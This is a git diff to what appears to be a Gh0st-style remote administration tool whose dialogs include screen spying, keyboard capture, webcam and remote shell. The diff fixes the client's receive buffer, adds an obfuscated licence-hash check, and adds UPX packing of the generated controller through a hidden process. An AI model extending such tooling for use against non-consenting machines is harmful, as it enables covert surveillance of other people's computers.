diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index b480d2b..a1083e0 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -265,8 +265,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) } if (m_hWorkThread == NULL){ #ifdef _WIN32 - m_hWorkThread = (HANDLE)CreateThread(NULL, 0, - WorkThreadProc,(LPVOID)this, 0, NULL); + m_hWorkThread = (HANDLE)CreateThread(NULL, 0, WorkThreadProc,(LPVOID)this, 0, NULL); m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP; #else pthread_t id = 0; @@ -284,6 +283,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) char* szBuffer = new char[MAX_RECV_BUFFER]; fd_set fd; struct timeval tm = { 2, 0 }; + This->m_CompressedBuffer.ClearBuffer(); while (This->IsRunning()) // 没有退出,就一直陷在这个循环中 { @@ -306,22 +306,23 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) { Mprintf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError()); This->Disconnect(); //接收错误处理 + This->m_CompressedBuffer.ClearBuffer(); if(This->m_exit_while_disconnect) break; } } else if (iRet > 0) { - memset(szBuffer, 0, MAX_RECV_BUFFER); - int iReceivedLength = recv(This->m_sClientSocket, - szBuffer, MAX_RECV_BUFFER, 0); //接收主控端发来的数据 + int iReceivedLength = recv(This->m_sClientSocket, szBuffer, MAX_RECV_BUFFER-1, 0); if (iReceivedLength <= 0) { int a = WSAGetLastError(); This->Disconnect(); //接收错误处理 + This->m_CompressedBuffer.ClearBuffer(); if(This->m_exit_while_disconnect) break; }else{ + szBuffer[iReceivedLength] = 0; //正确接收就调用OnRead处理,转到OnRead This->OnServerReceiving(szBuffer, iReceivedLength); } @@ -513,6 +514,9 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl VOID IOCPClient::Disconnect() { + if (m_sClientSocket == INVALID_SOCKET) + return; + Mprintf("断开和服务端的连接.\n"); CancelIo((HANDLE)m_sClientSocket); diff --git a/lib/shrink.lib b/lib/shrink.lib new file mode 100644 index 0000000..6441fac Binary files /dev/null and b/lib/shrink.lib differ diff --git a/lib/shrink_x64.lib b/lib/shrink_x64.lib new file mode 100644 index 0000000..7978002 Binary files /dev/null and b/lib/shrink_x64.lib differ diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 77f068c..c060f1c 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index b8838ea..5f6e3bc 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -31,6 +31,10 @@ #define new DEBUG_NEW #endif +#ifndef GET_FILEPATH +#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file) +#endif + #define UM_ICONNOTIFY WM_USER+100 #define TIMER_CHECK 1 @@ -197,6 +201,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog) ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage) ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog) + ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult) ON_WM_HELPINFO() ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare) ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth) @@ -466,6 +471,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog() { CDialogEx::OnInitDialog(); + if (!IsPwdHashValid()) { + MessageBox("此程序为非法的应用程序,无法正常运行!", "错误", MB_ICONERROR); + OnMainExit(); + return FALSE; + } // 将“关于...”菜单项添加到系统菜单中。 SetWindowText(_T("Yama")); @@ -1794,14 +1804,7 @@ void CMy2015RemoteDlg::OnToolAuth() } -char* ReadCurrentExecutable(size_t& outSize) { - // 获取当前程序路径 - char path[MAX_PATH]; - DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH); - if (len == 0 || len == MAX_PATH) { - return nullptr; - } - +char* ReadFileToBuffer(const std::string &path, size_t& outSize) { // 打开文件 std::ifstream file(path, std::ios::binary | std::ios::ate); // ate = 跳到末尾获得大小 if (!file) { @@ -1823,6 +1826,134 @@ char* ReadCurrentExecutable(size_t& outSize) { return buffer; } +////////////////////////////////////////////////////////////////////////// +// UPX + +BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size) +{ + // 打开文件,以二进制模式写入 + std::string filePath = path; + std::ofstream outFile(filePath, std::ios::binary); + + if (!outFile) + { + Mprintf("Failed to open or create the file: %s.\n", filePath.c_str()); + return FALSE; + } + + // 写入二进制数据 + outFile.write(data, size); + + if (outFile.good()) + { + Mprintf("Binary data written successfully to %s.\n", filePath.c_str()); + } + else + { + Mprintf("Failed to write data to file.\n"); + outFile.close(); + return FALSE; + } + + // 关闭文件 + outFile.close(); + + return TRUE; +} + +int run_upx(const std::string& upx, const std::string &file, bool isCompress) { + STARTUPINFOA si = { sizeof(si) }; + si.dwFlags |= STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + + PROCESS_INFORMATION pi; + std::string cmd = isCompress ? "\" --best \"" : "\" -d \""; + std::string cmdLine = "\"" + upx + cmd + file + "\""; + + BOOL success = CreateProcessA( + NULL, + &cmdLine[0], // 注意必须是非 const char* + NULL, NULL, FALSE, + 0, NULL, NULL, &si, &pi + ); + + if (!success) { + Mprintf("Failed to run UPX. Error: %d\n", GetLastError()); + return -1; + } + + WaitForSingleObject(pi.hProcess, INFINITE); + + DWORD exitCode; + GetExitCodeProcess(pi.hProcess, &exitCode); + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + return static_cast(exitCode); +} + +// 解压UPX对当前应用程序进行操作 +bool UPXUncompressFile(std::string& upx, std::string &file) { + DWORD dwSize = 0; + LPBYTE data = ReadResource(IDR_BINARY_UPX, dwSize); + if (!data) + return false; + + char path[MAX_PATH]; + DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH); + std::string curExe = path; + GET_FILEPATH(path, "upx.exe"); + upx = path; + + BOOL r = WriteBinaryToFile(path, (char*)data, dwSize); + SAFE_DELETE_ARRAY(data); + if (r) + { + file = curExe + ".tmp"; + if (!CopyFile(curExe.c_str(), file.c_str(), FALSE)) { + Mprintf("Failed to copy file. Error: %d\n", GetLastError()); + return false; + } + int result = run_upx(path, file, false); + Mprintf("UPX decompression %s!\n", result ? "failed" : "successful"); + return 0 == result; + } + return false; +} + +struct UpxTaskArgs { + HWND hwnd; // 主窗口句柄 + std::string upx; + std::string file; + bool isCompress; +}; + +DWORD WINAPI UpxThreadProc(LPVOID lpParam) { + UpxTaskArgs* args = (UpxTaskArgs*)lpParam; + int result = run_upx(args->upx, args->file, args->isCompress); + + // 向主线程发送完成消息,wParam可传结果 + PostMessageA(args->hwnd, WM_UPXTASKRESULT, (WPARAM)result, 0); + + DeleteFile(args->upx.c_str()); + delete args; + + return 0; +} + +void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress) { + UpxTaskArgs* args = new UpxTaskArgs{ hwnd, upx, file, isCompress }; + CloseHandle(CreateThread(NULL, 0, UpxThreadProc, args, 0, NULL)); +} + +LRESULT CMy2015RemoteDlg::UPXProcResult(WPARAM wParam, LPARAM lParam) { + int exitCode = static_cast(wParam); + ShowMessage(exitCode == 0, "UPX 处理完成"); + return S_OK; +} + +////////////////////////////////////////////////////////////////////////// void CMy2015RemoteDlg::OnToolGenMaster() { @@ -1841,19 +1972,42 @@ void CMy2015RemoteDlg::OnToolGenMaster() if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty()) return; size_t size = 0; - char* curEXE = ReadCurrentExecutable(size); + char path[MAX_PATH]; + DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH); + if (len == 0 || len == MAX_PATH) { + return; + } + char* curEXE = ReadFileToBuffer(path, size); if (curEXE == nullptr) { MessageBox("读取文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING); return; } std::string pwdHash = hashSHA256(dlg.m_str.GetString()); int iOffset = MemoryFind(curEXE, masterHash.c_str(), size, masterHash.length()); - if (iOffset == -1) { - MessageBox("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING); + std::string upx; + if (iOffset == -1) + { + SAFE_DELETE_ARRAY(curEXE); + std::string tmp; + if (!UPXUncompressFile(upx, tmp) || nullptr == (curEXE = ReadFileToBuffer(tmp.c_str(), size))) { + MessageBox("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING); + if (!upx.empty()) DeleteFile(upx.c_str()); + if (!tmp.empty()) DeleteFile(tmp.c_str()); + return; + } + DeleteFile(tmp.c_str()); + iOffset = MemoryFind(curEXE, masterHash.c_str(), size, masterHash.length()); + if (iOffset == -1) { + SAFE_DELETE_ARRAY(curEXE); + MessageBox("操作文件失败! 请稍后再次尝试。", "错误", MB_ICONWARNING); + return; + } + } + if (!WritePwdHash(curEXE + iOffset, pwdHash)) { + MessageBox("写入哈希失败! 无法生成主控。", "错误", MB_ICONWARNING); SAFE_DELETE_ARRAY(curEXE); return; } - memcpy(curEXE + iOffset, pwdHash.c_str(), pwdHash.length()); CComPtr spDesktop; HRESULT hr = SHGetDesktopFolder(&spDesktop); if (FAILED(hr)) { @@ -1885,8 +2039,12 @@ void CMy2015RemoteDlg::OnToolGenMaster() } File.Write(curEXE, size); File.Close(); - - MessageBox("生成成功! 文件位于:\r\n" + name, "提示", MB_ICONINFORMATION); + if (!upx.empty()) + { + run_upx_async(GetSafeHwnd(), upx, name.GetString(), true); + MessageBox("正在UPX压缩,请关注信息提示。\r\n文件位于: " + name, "提示", MB_ICONINFORMATION); + }else + MessageBox("生成成功! 文件位于:\r\n" + name, "提示", MB_ICONINFORMATION); } SAFE_DELETE_ARRAY(curEXE); } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 9346fec..7e94a88 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -119,6 +119,7 @@ public: afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenKeyboardDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT UPXProcResult(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); afx_msg void OnOnlineShare(); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 87d2fae..bf2fab7 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -75,21 +75,21 @@ true $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) - $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath) + $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath) true $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) - $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath) + $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath) false - $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath) + $(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath) $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) false - $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath) + $(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir);$(LibraryPath) $(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath) @@ -243,6 +243,7 @@ + diff --git a/server/2015Remote/BuildDlg.h b/server/2015Remote/BuildDlg.h index 3cd4e0b..fbdbfc6 100644 --- a/server/2015Remote/BuildDlg.h +++ b/server/2015Remote/BuildDlg.h @@ -2,6 +2,7 @@ #include "Buffer.h" +LPBYTE ReadResource(int resourceId, DWORD& dwSize); // CBuildDlg 对话框 diff --git a/server/2015Remote/CPasswordDlg.cpp b/server/2015Remote/CPasswordDlg.cpp index a8bbea1..584f7ba 100644 --- a/server/2015Remote/CPasswordDlg.cpp +++ b/server/2015Remote/CPasswordDlg.cpp @@ -6,6 +6,7 @@ #include "afxdialogex.h" #include "pwd_gen.h" #include "2015Remote.h" +#include "common/skCrypter.h" // CPasswordDlg 瀵硅瘽妗 @@ -15,7 +16,8 @@ IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx) char g_MasterID[100] = { PWD_HASH256 }; std::string GetPwdHash(){ - return g_MasterID; + static auto id = std::string(g_MasterID).substr(0, 64); + return id; } std::string GetMasterId() { @@ -23,6 +25,45 @@ std::string GetMasterId() { return id; } +extern "C" void shrink64to32(const char* input64, char* output32); // output32 蹇呴』鑷冲皯 33 瀛楄妭 + +extern "C" void shrink32to4(const char* input32, char* output4); // output4 蹇呴』鑷冲皯 5 瀛楄妭 + +#ifdef _WIN64 +#pragma comment(lib, "lib/shrink_x64.lib") +#else +#pragma comment(lib, "lib/shrink.lib") +#endif + +bool WritePwdHash(char* target, const std::string & pwdHash) { + char output32[33], output4[5]; + shrink64to32(pwdHash.c_str(), output32); + shrink32to4(output32, output4); + if (output32[0] == 0 || output4[0] == 0) + return false; + memcpy(target, pwdHash.c_str(), pwdHash.length()); + memcpy(target + 64, output32, 32); + memcpy(target + 96, output4, 4); +#ifdef _DEBUG + ASSERT(IsPwdHashValid(target)); +#endif + return true; +} + +bool IsPwdHashValid(const char* hash) { + const char* ptr = hash ? hash : g_MasterID; + if (ptr == std::string(skCrypt(MASTER_HASH))) + return true; + std::string pwdHash(ptr, 64), s1(ptr +64, 32), s2(ptr +96, 4); + char output32[33], output4[5]; + shrink64to32(pwdHash.c_str(), output32); + shrink32to4(output32, output4); + if (memcmp(output32, s1.c_str(), 32) || memcmp(output4, s2.c_str(), 4)) + return false; + + return true; +} + CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/) : CDialogEx(IDD_DIALOG_PASSWORD, pParent) , m_sDeviceID(_T("")) diff --git a/server/2015Remote/CPasswordDlg.h b/server/2015Remote/CPasswordDlg.h index b2f3fd1..2b94ab2 100644 --- a/server/2015Remote/CPasswordDlg.h +++ b/server/2015Remote/CPasswordDlg.h @@ -14,6 +14,10 @@ std::string GetPwdHash(); std::string GetMasterId(); +bool IsPwdHashValid(const char* pwdHash = nullptr); + +bool WritePwdHash(char* target, const std::string& pwdHash); + class CPasswordDlg : public CDialogEx { DECLARE_DYNAMIC(CPasswordDlg) diff --git a/server/2015Remote/res/upx.exe b/server/2015Remote/res/upx.exe new file mode 100644 index 0000000..38a18e7 Binary files /dev/null and b/server/2015Remote/res/upx.exe differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index a651561..1770233 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 3d756c7..ae05d79 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -68,9 +68,9 @@ #include // 功能区和控件条的 MFC 支持 -#define WM_USERTOONLINELIST WM_USER + 3000 -#define WM_OPENSCREENSPYDIALOG WM_USER + 3001 -#define WM_OPENFILEMANAGERDIALOG WM_USER + 3002 +#define WM_USERTOONLINELIST WM_USER + 3000 +#define WM_OPENSCREENSPYDIALOG WM_USER + 3001 +#define WM_OPENFILEMANAGERDIALOG WM_USER + 3002 #define WM_OPENTALKDIALOG WM_USER+3003 #define WM_OPENSHELLDIALOG WM_USER+3004 #define WM_OPENSYSTEMDIALOG WM_USER+3005 @@ -82,6 +82,7 @@ #define WM_USEROFFLINEMSG WM_USER+3010 #define WM_HANDLEMESSAGE WM_USER+3011 #define WM_OPENKEYBOARDDIALOG WM_USER+3012 +#define WM_UPXTASKRESULT WM_USER+3013 enum {